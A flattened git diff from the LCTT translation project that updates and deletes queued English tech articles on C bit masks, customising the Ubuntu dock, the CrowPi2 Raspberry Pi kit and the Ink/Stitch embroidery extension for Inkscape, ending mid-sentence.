binary `00001000`. And in the C programming language, any non-zero value is treated as True, and zero is always False. So `is_black(board[5][3])` will return a True value (8) if the piece in array element `5,3` is black and will return a False value (0) if it is white. - -### Bit fields - -Using bit-fields and masks is a common method to combine data without using structures. They are worth adding to your programmer's "tool kit." While data structures are a valuable tool for ordered programming where you need to track related data, using separate elements to track single On or Off values (such as the colors of chess pieces) is less efficient. In these cases, consider using bit-fields and masks to combine your data more efficiently. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/8/binary-bit-fields-masks - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/life-chess-games.png?itok=U1lWMZ0y (Chess pieces on a chess board) diff --git a/sources/tech/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md b/sources/tech/20210830 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md similarity index 64% rename from sources/tech/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md rename to sources/tech/20210830 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md index 9689098aec..efb9cc5052 100644 --- a/sources/tech/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md +++ b/sources/tech/20210830 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md @@ -1,32 +1,29 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The Definitive Guide to Using and Customizing the Dock in Ubuntu) -[#]: via: (https://itsfoss.com/customize-ubuntu-dock/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) +[#]: subject: "The Definitive Guide to Using and Customizing the Dock in Ubuntu" +[#]: via: "https://itsfoss.com/customize-ubuntu-dock/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " The Definitive Guide to Using and Customizing the Dock in Ubuntu ====== - When you log into Ubuntu, you’ll see the dock on the left side with some application icons on it. This dock (also known as launcher or sometimes as panel) allows you to quickly launch your frequently used programs. -![][1] +![Ubuntu Dock][1] I rely heavily on the dock and I am going to share a few tips about using the dock effectively and customize its looks and position. You’ll learn the following in this tutorial: - * Basic usage of the dock: adding more applications and using shortcuts for launching applications. - * Customize the looks of the dock: Change the icon size, icon positions. - * Change the position: for single screen and multi-monitor setup - * Hide mounted disk from the dock - * Auto-hide or disable the dock - * Possibility of additional dock customization with dconf-editor - * Replace dock with other docking applications - - +* Basic usage of the dock: adding more applications and using shortcuts for launching applications. +* Customize the looks of the dock: Change the icon size, icon positions. +* Change the position: for single screen and multi-monitor setup +* Hide mounted disk from the dock +* Auto-hide or disable the dock +* Possibility of additional dock customization with dconf-editor +* Replace dock with other docking applications I’ll use the terms dock, panel and launcher in the tutorial. All of them refer to the same thing. @@ -34,17 +31,21 @@ I’ll use the terms dock, panel and launcher in the tutorial. All of them refer If you are new to Ubuntu, you should know a few things about using the dock. You’ll eventually discover these dock features, I’ll just speed up the discovery process for you. +![A Video from YouTube][2] + +[Subscribe to our YouTube channel for more Linux videos][3] + #### Add new applications to the dock (or remove them) The steps are simple. Search for the application from the menu and run it. The running application appears in the dock, below all other icons. Right click on it and select the “Add to Favorites” option. This will lock the icon to the dock. -![Right-click on the icon and select “Add to Favorites”][2] +![Right click on the icon and select "Add to Favorites" to add icons to the dock in Ubuntu][4] Removing an app icon from the doc is even easier. You don’t even need to run the application. Simply right click on it and select “Remove From Favorites”. -![Right-click on the icon and select “Remove from Favorites”][3] +![Right-click on the icon and select "Remove from Favorites" to remove icons from the dock in Ubuntu][5] #### Reorder icon position @@ -52,7 +53,7 @@ By default, new application icons are added after all the other icons on the lau To change the order of the icons, you just need to drag and drop to the other position of your choice. No need to “lock it” or any additional effort. It stays on that location until you make some changes again. -![Reorder Icons On Ubuntu Docks][4] +![Reorder Icons On Ubuntu Docks][6] #### Right click to get additional options for some apps @@ -62,7 +63,7 @@ Right-clicking the icon gives you additional options. Different applications wil For browsers, you can open a new private window or preview all the running windows. -![][5] +![Right Click Icons Ubuntu Dock][7] For file manager, you can go to all the bookmarked directories or preview opened windows. @@ -74,7 +75,7 @@ The dock allows you to launch an application in a single mouse click. But if you Using the Super/Window key and a number key will launch the application on that position. -![][6] +![Keyboard Shortcut For Ubuntu Dock][8] If the application is already running, it is brought to focus, i.e. it appears in front of all the other running application windows. @@ -86,19 +87,19 @@ I find it easier specially because I have a three screen setup and moving the mo By default, the dock is located on the left side of your screen. Some people like the launcher at the bottom, in a more traditional way. -Ubuntu allows you to change the position of the dock. You can move it to the bottom or to the right side or on the top. I am not sure many people actually put the dock on the top or the right side, so moving the dock to the top is not an option here. +[Ubuntu allows you to change the position of the dock][9]. You can move it to the bottom or to the right side. I am not sure many people actually put the dock on the top, so moving the dock to the top is not an option here. -![Change Launcher Position][7] +![Change Launcher Position in Ubuntu][10] -To change the dock position, go to Settings->Appearance. You should see some options under Dock section. You need to change the “Position on screen” settings here. +To change the dock position, go to Settings->Appearance. You should see some options under Dock section. You need to change the “Position on screen” settings here. -![Go to Settings->Appearance->Dock][8] +![Change Dock Position in Ubuntu][11] #### Position of dock on a multiple monitor setup -If you have multiple screens attached to your system, you can choose whether to display the dock on all screens or one of chosen screens. +If you have multiple screens attached to your system, you can choose whether to display the dock on all screens or one of the chosen screens. -![Ubuntu Dock Settings Multimonitor][9] +![Ubuntu Dock Settings Multimonitor][12] Personally, I display the dock on my laptop screen only which is my main screen. This gives me maximum space on the additional two screens. @@ -110,17 +111,19 @@ Imagine you added too many applications to the dock or have too many application What you can do here is to change the icon size and the dock will now accommodate more icons. Don’t make it too small, though. -![][10] +![Normal Icon Size Dock][13] -To do that, go to Settings-> Appearance and change it by moving the slider under Icon size. The default icons size is 48 pixels. +![Smaller Icon Size Dock][14] -![Changing Icon Size In Ubuntu Dock][11] +To do that, go to Settings-> Appearance and change it by moving the slider under Icon size. The default icons size is 48 pixels. + +![Changing Icon Size In Ubuntu Dock][15] #### Hide mounted disks from the launcher If you plug in a USB disk or SD Card, it is mounted to the system, and an icon appear in the launcher immediately. This is helpful because you can right click on it and select safely remove drive option. -![Mounted disks are displayed In the Ubuntu Dock][12] +![External Mounted Disks In Ubuntu Dock][16] If you somehow find it troublesome, you can turn this feature off. Don’t worry, you can still access the mounted drives from the file manager. @@ -148,7 +151,9 @@ If you click on the icon of a running application, its window will be brought to Well, this is the behavior in modern desktop, but I don’t like it. I prefer that the application is minimized when I click on its icon for the second time. -If you are like me, you may want to [enable click to minimize option in Ubuntu][13]: +If you are like me, you may want to [enable click to minimize option in Ubuntu][17]: + +![A Video from YouTube][18] To do that, open a terminal and enter the following command: @@ -162,9 +167,9 @@ If you want to utilize the maximum screen space, you can enable auto-hide option This will hide the dock, and you’ll get the entire screen. The dock is still accessible, though. Move your cursor to the location of the dock where it used to be, and it will appear again. When the dock reappears, it is overlaid on the running application window. And that’s a good thing otherwise too many elements would start moving on the screen. -The auto-hide option is available in Settings-> Appearance and under Dock section. Just toggle it. +The auto-hide option is available in Settings-> Appearance and under Dock section. Just toggle it. -![Auto-hide the dock][14] +![Autohide the Dock Ubuntu][19] If you don’t like this behavior, you can enable it again the same way. @@ -172,25 +177,23 @@ If you don’t like this behavior, you can enable it again the same way. Auto-hide option is good enough for many people, but some users simply don’t like the dock. If you are one of those users, you also have the option to disable the Ubuntu dock entirely. -Starting with Ubuntu 20.04, you have the Extensions application available at your disposal to [manage GNOME Extensions][15]. +Starting with Ubuntu 20.04, you have the Extensions application available at your disposal to [manage GNOME Extensions][20]. -![Look for Extensions app in the menu][16] +![Gnome Extensions App Ubuntu][21] With this Extensions application, you can easily disable or re-enable the dock. -![Disable Ubuntu Dock][17] +![Disable Dock Ubuntu][22] ### Advanced dock customization with dconf-editor [Not recommended] ##### Warning -The dconf-editor allows you to change almost every aspect of the GNOME desktop environment. This is both good and bad because you must be careful in editing. Most of the settings can be changed on the fly, without asking for conformation. While you may reset the changes, you could still put your system in such a state that it would be difficult to put things back in order. +The dconf-editor allows you to change almost every aspect of the GNOME desktop environment. This is both good and bad because you must be careful in editing. Most of the settings can be changed on the fly, without asking for conformation. While you may reset the changes, you could still put your system in such a state that it would be difficult to put things back in order.For this reason, I advise not to play with dconf-editor, specially if you don’t like spending time in troubleshooting and fixing problems or if you are not too familiar with Linux and GNOME. -For this reason, I advise not to play with dconf-editor, specially if you don’t like spending time in troubleshooting and fixing problems or if you are not too familiar with Linux and GNOME. +The [dconf editor][23] gives you additional options to customize the dock in Ubuntu. Install it from the software center and then navigate to org > gnome > shell > extensions > dash-to-dock. You’ll find plenty of options here. I cannot even list them all here. -The [dconf editor][18] gives you additional options to customize the dock in Ubuntu. Install it from the software center and then navigate to org > gnome > shell > extensions > dash-to-dock. You’ll find plenty of options here. I cannot even list them all here. - -![][19] +![Dconf Editor Dock][24] ### Replace the dock in Ubuntu @@ -198,7 +201,7 @@ There are several third-party dock applications available for Ubuntu and other L For example, you can install Plank dock from the software center and use it in similar fashion to Ubuntu dock. -![Plank Dock in Ubuntu][20] +![Plank Dock Ubuntu][25] Disabling Ubuntu Dock would be a better idea in this case. It won’t be wise to use multiple docks at the same time. @@ -215,31 +218,36 @@ Was it too trivial or did you learn something new? Would you like to see more su via: https://itsfoss.com/customize-ubuntu-dock/ 作者:[Abhishek Prakash][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock.png?resize=800%2C450&ssl=1 -[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/add-icons-to-dock.png?resize=800%2C450&ssl=1 -[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/remove-icons-from-dock.png?resize=800%2C450&ssl=1 -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/reorder-icons-on-ubuntu-docks.gif?resize=800%2C430&ssl=1 -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/right-click-icons-ubuntu-dock.png?resize=800%2C450&ssl=1 -[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/keyboard-shortcut-for-ubuntu-dock.png?resize=800%2C450&ssl=1 -[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-launcher-position-ubuntu.png?resize=800%2C450&ssl=1 -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-dock-position-ubuntu.png?resize=800%2C450&ssl=1 -[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock-settings-multimonitor.png?resize=800%2C450&ssl=1 -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/normal-icon-size-dock.jpg?resize=1024%2C1080&ssl=1 -[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/changing-icon-size-in-ubuntu-dock.png?resize=800%2C450&ssl=1 -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/external-mounted-disks-in-ubuntu-dock.png?resize=800%2C450&ssl=1 -[13]: https://itsfoss.com/click-to-minimize-ubuntu/ -[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/autohide-dock-ubuntu.png?resize=800%2C450&ssl=1 -[15]: https://itsfoss.com/gnome-shell-extensions/ -[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/GNOME-extensions-app-ubuntu.jpg?resize=800%2C240&ssl=1 -[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/disable-dock-ubuntu.png?resize=800%2C450&ssl=1 -[18]: https://wiki.gnome.org/Apps/DconfEditor -[19]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/dconf-editor-dock.png?resize=592%2C599&ssl=1 -[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/plank-dock-Ubuntu.jpg?resize=800%2C382&ssl=1 +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock.png +[2]: https://player.vimeo.com/video/534830884 +[3]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 +[4]: https://itsfoss.com/wp-content/uploads/2021/01/add-icons-to-dock.png +[5]: https://itsfoss.com/wp-content/uploads/2021/01/remove-icons-from-dock.png +[6]: https://itsfoss.com/wp-content/uploads/2021/01/reorder-icons-on-ubuntu-docks-800x430.gif +[7]: https://itsfoss.com/wp-content/uploads/2021/01/right-click-icons-ubuntu-dock.png +[8]: https://itsfoss.com/wp-content/uploads/2021/01/keyboard-shortcut-for-ubuntu-dock.png +[9]: https://itsfoss.com/move-unity-launcher-bottom/ +[10]: https://itsfoss.com/wp-content/uploads/2021/01/change-launcher-position-ubuntu.png +[11]: https://itsfoss.com/wp-content/uploads/2021/01/change-dock-position-ubuntu.png +[12]: https://itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock-settings-multimonitor.png +[13]: https://itsfoss.com/wp-content/uploads/2021/01/normal-icon-size-dock.jpg +[14]: https://itsfoss.com/wp-content/uploads/2021/01/smaller-icon-size-dock.jpg +[15]: https://itsfoss.com/wp-content/uploads/2021/01/changing-icon-size-in-ubuntu-dock.png +[16]: https://itsfoss.com/wp-content/uploads/2021/01/external-mounted-disks-in-ubuntu-dock.png +[17]: https://itsfoss.com/click-to-minimize-ubuntu/ +[18]: https://giphy.com/embed/52FlrSIMxnZ1qq9koP +[19]: https://itsfoss.com/wp-content/uploads/2021/01/autohide-dock-ubuntu.png +[20]: https://itsfoss.com/gnome-shell-extensions/ +[21]: https://itsfoss.com/wp-content/uploads/2020/06/GNOME-extensions-app-ubuntu.jpg +[22]: https://itsfoss.com/wp-content/uploads/2021/01/disable-dock-ubuntu.png +[23]: https://wiki.gnome.org/Apps/DconfEditor +[24]: https://itsfoss.com/wp-content/uploads/2021/01/dconf-editor-dock.png +[25]: https://itsfoss.com/wp-content/uploads/2021/01/plank-dock-Ubuntu-800x382.jpg diff --git a/sources/tech/20210906 Learn everything about computers with this Raspberry Pi kit.md b/sources/tech/20210906 Learn everything about computers with this Raspberry Pi kit.md deleted file mode 100644 index 21f2f6e1f0..0000000000 --- a/sources/tech/20210906 Learn everything about computers with this Raspberry Pi kit.md +++ /dev/null @@ -1,148 +0,0 @@ -[#]: subject: "Learn everything about computers with this Raspberry Pi kit" -[#]: via: "https://opensource.com/article/21/9/raspberry-pi-crowpi2" -[#]: author: "Seth Kenlon https://opensource.com/users/seth" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Learn everything about computers with this Raspberry Pi kit -====== -The CrowPi is an amazing Raspberry Pi project system housed in a -laptop-like body. -![Teacher or learner?][1] - -I like history, and I like computers, so I enjoy hearing stories about computing before computers were an everyday household appliance, much less a personal accessory. [One tale I hear often][2] is about how the computers of long ago (in computer years, anyway) were pleasantly basic. They were so basic, in fact, that it was relatively trivial for a curious user to figure out how to program one. Looking at modern computers, with object-oriented programming languages, complex GUI frameworks, network APIs, containers, and more, there's genuine concern that the tools of the computing trade have become essentially inaccessible to anyone without specialized training. - -From the day the Raspberry Pi was released in 2012, it has always been intended as an educational platform. Several third-party vendors support the Pi with add-ons and training kits to help learners of all ages explore programming, physical computing, and open source. However, until recently, it's largely been up to the user to figure out how all the pieces on the market fit together. And then I got a CrowPi. - -![CrowPi more than a laptop][3] - -The CrowPi is not a laptop. -(Seth Kenlon, [CC BY-SA 4.0][4]) - -### Introducing the CrowPi2 - -Crows are surprisingly intelligent birds. They recognize and remember faces, mimic sounds they've heard, solve complex puzzles, and even use tools to accomplish a task. It's fitting that the CrowPi uses the crow as its logo and namesake because this device is packed with opportunities for exploration, experimentation, education, and, best of all, fun. - -The design itself is clever: It looks like a laptop, but it's much more than that. When you lift the Bluetooth keyboard from the case, it reveals a hidden electronics workshop, complete with an LCD screen, 16 buttons, dials, RFID sensor, proximity sensor, breadboard, speakers, GPIO connections, a LED array, and much more. _And it's all programmable._ - -As its name implies, the unit itself is powered entirely by a Raspberry Pi, securely fastened within the underside of the case. - -![crowpi pi board][5] - -The CrowPi Pi board. -(Seth Kenlon, [CC BY-SA 4.0][4]) - -By default, you're meant to power the unit with a power adapter, and it ships with a wall adapter that you can plug into the case rather than powering the Pi directly. You can also use a battery supply plugged into an external micro-USB port. There's even a drawer built into the case so you can store your battery pack. When you do this, there's a USB cable popping out of the battery drawer and into the case power port, so there's no illusion that this is a "normal" laptop. However, with a device like this, that's pretty much the desired aesthetic! - -### First boot - -The CrowPi2 ships with Raspbian installed on a microSD card labeled **System**, although it includes a second microSD card loaded with [RetroPie][6], too. Being a responsible adult, I booted RetroPie first, naturally. - -RetroPie is always fun, and the CrowPi2 ships with two SNES-style game controllers to ensure you have the optimal retro gaming experience. - -Booting to the actual system is, amazingly, just as fun and arguably more so. The login manager is a custom project hub with quick links to sample coding projects, the Python and Arduino IDEs, Scratch, sample Python games, Minecraft, and more. You can also choose to exit the project hub and just use the desktop. - -![CrowPi hub][7] - -The CrowPi Hub. -(Seth Kenlon, [CC BY-SA 4.0][4]) - -The desktop is familiar to anyone used to the Raspberry Pi or Linux in general, but it's basic enough that it's easy to learn, too. There's an application menu in the top left, shortcut icons on the desktop, a system tray for network selection and volume control in the top right, and so on. - -![CrowPi Desktop][8] - -The CrowPi Desktop. -(Seth Kenlon, [CC BY-SA 4.0][4]) - -There's so much available on the CrowPi that it might be difficult to decide where to start. For me, there were four broad categories: Programming, physical electronics, Linux, and gaming. - -There's an instruction manual in the box, so you know what you need to connect (for instance, the keyboard is battery-powered, so it does need charging sometimes, and it and the mouse always require a USB dongle). It's a quick read, though, and just one of the many examples of how seriously the CrowPi team takes documentation. - -![CrowPi Docs][9] - -The CrowPi Docs. -(Seth Kenlon, [CC BY-SA 4.0][4]) - -### Programming - -If you're keen to learn how to code, there are many paths to success on the CrowPi. You should take the path that you find the most satisfying. - -#### 1\. Scratch - -[Scratch][10] is a simple visual coding application that lets you make games and interactive stories using code blocks that fit together like [Lego pieces][11]. It's the easiest way to begin coding, and I've seen kids as young as eight spend hours puzzling over the optimal algorithm for a game of their own design. Of course, it's not only great for kids! Adults can have a lot of fun with it, too. Not sure where to start? There's a 99-page booklet (printed on actual paper) in the box with Scratch lessons and projects for you to try. - -#### 2\. Java and Minecraft - -Minecraft is not open source (although there are [several open source projects][12] that reimplement it), but there's enough source available that it's often used to teach programming. Minecraft was written in Java, and the CrowPi ships with both [Minecraft Pi Edition][13] and the [BlueJ Java IDE][14] to make learning Java easier and more fun than ever. - -#### 3\. Python and PyGame - -There are several really fun games on the CrowPi that were written in Python and the [PyGame game engine][15]. You can play the games and then look at the source code to find out how the game works. The Geany, Thonny, and [Mu][16] editors are included on the CrowPi, so you can start programming in Python right away. As with Scratch, there's a booklet in the box with lessons so you can learn Python basics. - -### Electronics - -The physical electronics workshop concealed under the keyboard is essentially an array of Pi Hats. The whole thing is mapped out on a fold-out diagram in both English and Chinese so that you can identify all the components. There are plenty of sample projects to get you started. Here's a small list: - - * **Hello** prints "hello" on the LCD screen when you speak to the CrowPi. - * **Intrusion alarm** sounds an alarm using the proximity sensor. - * **Remote controller** enables you to use a remote control (yes, this too is included in the box) to trigger events on the CrowPi. - * **RGB Tetris** lets you play a game of Tetris on an LED display. - * **Voice recognition** demonstrates natural language processing. - * **Ultrasonic music** creates a rudimentary Theramin using distance sensors and a speaker. - - - -Those projects are just the beginning because you can build upon what exists. There's more to explore, of course. Patch cables, resistors, LEDs, and all sorts of components are included in the box so that you can learn all about the Pi's GPIO capabilities at your leisure. - -One problem: The location of the sample projects is a little difficult to find. It's easy to find the demos (they're on the CrowPi hub screen), but the location of the source code isn't immediately obvious. It turns out that most of the sample projects are in `/usr/share/code`, which you can reach either through the file manager or a terminal. - -![CrowPi Peripherals][17] - -The CrowPi Peripherals -(Seth Kenlon, [CC BY-SA 4.0][4]) - -### Linux - -The Raspberry Pi runs Linux. If you've been meaning to learn more about Linux, the CrowPi is a great platform for that, too. You can explore the desktop, the terminal, and nearly any Linux or open source application you can find. If you've been reading about open source for years and are ready to dive into an open source OS, this could be a platform for that (and much more, obviously). - -### Gaming - -The **RetroPie** SD card included in the box means you can reboot into a retro game console and play any number of old-school arcade games. It's not exactly a Steam Deck, but it's a fun and inspiring little gaming platform. Because it comes with not one but two game controllers, it's ideal for couch co-op. And best of all, you not only can play games on the CrowPi, but you can make your own games, too. - -### Screwdriver included - -I got to sit down with the CrowPi2 for about two weeks, and I've barely been able to get through all of the projects. There have been many nights when I've had to force myself to step away from it because even after I've tired of one project, I inevitably find something else to explore. To sum it up, I found one component in particular in the box, and I immediately knew that the CrowPi and I were well suited to one another: It was a small, humble screwdriver. There's no voiding of warranty stickers here. The CrowPi wants you to tinker, to take things apart, explore, and learn. This isn't a laptop or even just a Pi; this is a portable, low-powered, diverse, and open source learner's toolkit. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/9/raspberry-pi-crowpi2 - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc-lead-teacher-learner.png?itok=rMJqBN5G (Teacher or learner?) -[2]: https://opensource.com/article/21/8/my-first-programming-language -[3]: https://opensource.com/sites/default/files/crowpi-not-laptop.jpeg (CrowPi more than a laptop) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/crowpi-pi.jpeg (crowpi pi board) -[6]: https://opensource.com/article/19/1/retropie -[7]: https://opensource.com/sites/default/files/crowpi-hub.png (CrowPi hub) -[8]: https://opensource.com/sites/default/files/crowpi-desktop.png (CrowPi desktop) -[9]: https://opensource.com/sites/default/files/crowpi-docs.jpeg (CrowPi docs) -[10]: https://opensource.com/article/20/9/scratch -[11]: https://opensource.com/article/20/6/open-source-virtual-lego -[12]: https://opensource.com/alternatives/minecraft -[13]: https://www.minecraft.net/en-us/edition/pi -[14]: https://opensource.com/article/20/7/ide-java#bluej -[15]: https://opensource.com/downloads/python-gaming-ebook -[16]: https://opensource.com/article/18/8/getting-started-mu-python-editor-beginners -[17]: https://opensource.com/sites/default/files/crowpi-peripherals.jpeg (CrowPi peripherals) diff --git a/sources/tech/20210910 MAKE MORE with Inkscape - Ink-Stitch.md b/sources/tech/20210910 MAKE MORE with Inkscape - Ink-Stitch.md deleted file mode 100644 index 6469a1de35..0000000000 --- a/sources/tech/20210910 MAKE MORE with Inkscape - Ink-Stitch.md +++ /dev/null @@ -1,212 +0,0 @@ -[#]: subject: "MAKE MORE with Inkscape – Ink/Stitch" -[#]: via: "https://fedoramagazine.org/make-more-with-inkscape-ink-stitch/" -[#]: author: "Sirko Kemter https://fedoramagazine.org/author/gnokii/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -MAKE MORE with Inkscape – Ink/Stitch -====== - -![MAKE more with Inkscape - Ink/Stitch][1] - -Inkscape, the most used and loved tool of Fedora’s Design Team, is not just a program for doing nice vector graphics. With vector graphics (in our case SVG) a lot more can be done. Many programs can import this format. Also, Inkscape can do a lot more than just graphics. The first article of this [series][2] showed how to [produce GCode with Inkscape][3]. This article will examine another Inkscape extension – [Ink/Stitch][4]. Ink/Stitch is an extension for designing embroidery with Inkscape. - -### DIY Embroidery - -In the last few years the do-it-yourself or maker scene has experienced a boom. You could say it all began with the inexpensive option of [3D printing][5]; followed by also not expensive [CNC][6] machines and laser cutters/engravers. Also the prices for more _“_traditional_”_ machines such as embroidery machines have fallen during recent years. [Home embroidery machines are now available for 500 US dollars][7]. - -If you don’t want to or can’t buy one yourself, the nearest [MakerSpace][8] often has one. Even the prices for commercial single-head embroidery machines are down to 5,000 US dollars. They are an investment that can pay off quickly. - -### Software for Embroidery Design - -Some of the home machines include their own software for designing embroidery. But most, if not all, of these applications are Windows-only. Also, the most used manufacturer-independent software of this area – [Embird][9] – is only available for Windows. But you could run it in Wine. - -Another solution for Linux – [Embroidermodde][10] – is not really developed anymore. And this is after having had a fundraising campaign. - -Today, only one solution is left – [Ink/Stitch][4] - -![The logo of the Ink/Stitch project][11] - -### Open Source and Embroidery Design - -Ink/Stitch started out using [libembroidery][12]. Today [pyembroidery][13] is used. The manufacturers can’t be blamed for the prices of these machines and the number of Linux users. It is hardly worthwhile to develop applications for Linux. - -#### The Embroidery File Format Problem - -There is a problem with the proliferation of file formats for embroidery machines; especially among manufacturers that cook their own file format for their machines. In some cases, even a single manufacturer may use several different file formats. - - * **.10o** – Toyota embroidery machines - * **.100** – Toyota embroidery machines - * **.CSD** – Poem, Huskygram, and Singer EU embroidery home sewing machines. - * **.DSB** – Baruda embroidery machines - * **.JEF** – MemoryCraft 10000 machines. - * **.SEW** – MemoryCraft 5700, 8000, and 9000 machines. - * **.PES** – Brother and Babylock embroidery home sewing machines. - * **.PEC** – Brother and Babylock embroidery home sewing machines. - * **.HUS** – Husqvarna/Viking embroidery home sewing machines. - * **.PCS** – Pfaff embroidery home sewing machines. - * **.VIP** – old Pfaff format also used by Husqvarna machines. - * **.VP3** – newer Pfaff embroidery home sewing machines. - * **.DST** – Tajima commercial embroidery sewing machines. - * **.EXP** – Melco commercial embroidery sewing machines. - * **.XXX** – Compucon, Singer embroidery home sewing machines. - * **.ZSK** – ZSK machines on the american market - - - -This is just a small selection of the file formats that are available for embroidery. You can find a more complete list [here][14]. If you are interested in [deeper knowledge about these file formats, see here for more information][15]. - -#### File Formats of Ink/Stitch - -Ink/Stitch can currently read the following file formats: 100, 10o, BRO, DAT, DSB, DST, DSZ, EMD, EXP, EXY, FXY, GT, INB, JEF, JPX, KSM, MAX, MIT, NEW, PCD, PCM, PCQ, PCS, PEC, PES, PHB, PHC, SEW, SHV, STC, STX, TAP, TBF, U01, VP3, XXX, ZXY and also GCode as TXT file. - -For the more important task of writing/saving your work, Ink/Stitch supports far fewer formats: DST, EXP, JEF, PEC, PES, U01, VP3 and of course SVG, CSV and GCode as TXT - -Besides the problem of all these file formats, there are other problems that a potential stitch program has to overcome. - -Working with the different kinds of stitches is one difficulty. The integration of tools for drawing and lettering is another. But why invent such a thing from scratch? Why not take an existing vector program and just add the functions for embroidery to it? That was the idea behind the [Ink/Stitch project][4] over three years ago. - -### Install Ink/Stitch - -Ink/Stitch is an [extension for Inkscape][16]. Inkscape’s new functionality for downloading and installing extensions is still experimental. And you will not find Ink/Stitch among the extensions that are offered there. You must [download][17] the extension manually. After it is downloaded, unzip the package into your directory for Inkscape extensions. The default location is _~/.config/Inkscape/extensions_ (or _/usr/share/inkscape/extensions_ for system-wide availability). If you have changed the defaults, you may need to check Inkscape’s settings to find the location of the extensions directory. - -### Customization – Install Add-ons for Ink/Stitch - -The Ink/Stitch extension provides a function called Install Add-Ons for Inkscape, which you should run first. - -The execution of this function – _Extensions > Ink/Stitch > Thread Color Management > Install thread color palettes for Inkscape_ – will take a while. - -Do not become nervous as there is no progress bar or a similar thing to see. - -This function will install 70 color palettes of various yarn manufacturers and a symbol library for Ink/Stitch. - -![Inkscape with the swatches dialogue open, which shows the Madeira Rayon color palette][18] - -If you use the download from Github version 2.0.0, the ZIP-file contains the color palette files. You only need to unpack them into the right directory (_~/.config/inkscape/palettes/_). If you need a [hoop template, you can download][19] one and save it to _~/.config/inkscape/templates_. - -The next time you start Inkscape, you will find it under _File > New From Template_. - -### Lettering with Ink/Stitch - -The way that is by far the easiest and most widely used, is to get a embroidery design using the _Lettering_ function of Ink/Stitch. It is located under _Extensions > Ink/Stitch > Lettering_. Lettering for embroidery is not simple. What you expect are so called satin stitched letters. For this, special font settings are needed. - -![Inkscape with a “Chopin” glyph for satin stitching defined for the Lettering function][20] - -You can convert paths to satin stitching. But this is more work intensive than using the Lettering function. Thanks to the work of an active community, the May 2021 release of Ink/Stitch 2.0 brought more predefined fonts for this. An English tutorial on how to create such fonts can be found [here][21]. - -Version 2.0 also brings functions (_Extensions > Ink/Stitch > Font Management_) to make managing these kinds of fonts easier. There are also functions for creating these kinds of fonts. But you will need knowledge about font design with Inkscape to do so. First, you create an an entire SVG font. It is then feed through a JSON script which converts the SVG font into the type of files that Ink/Stitch’s font management function works with. - -![On the left side the Lettering dialogue and on the right the preview of this settings][22] - -The function will open a dialogue window where you just have to put in your text, choose the size and font, and then it will render a preview. - -### Embroider Areas/Path-Objects - -The easiest thing with Ink/Stitch, is to embroider areas or paths. Just draw your path. When you use shapes then you have to convert them and then run _Extensions > Ink/Stitch > Fill Tools > Break Apart Fill Objects…_ - -This breaks apart the path into its different parts. You have to use this function. The _Path > Break apart_ function of Inkscape won’t work for this. - -Next, you can run Ink/Stitch’s built-in simulator: _Extensions > Ink/Stitch > Visualise and Export > Simulator/Realistic Preview_. - -![The new Fedora logo as Stitch Plan Preview][23] - -Be careful with the simulator. It takes a lot system resources and it will take a while to 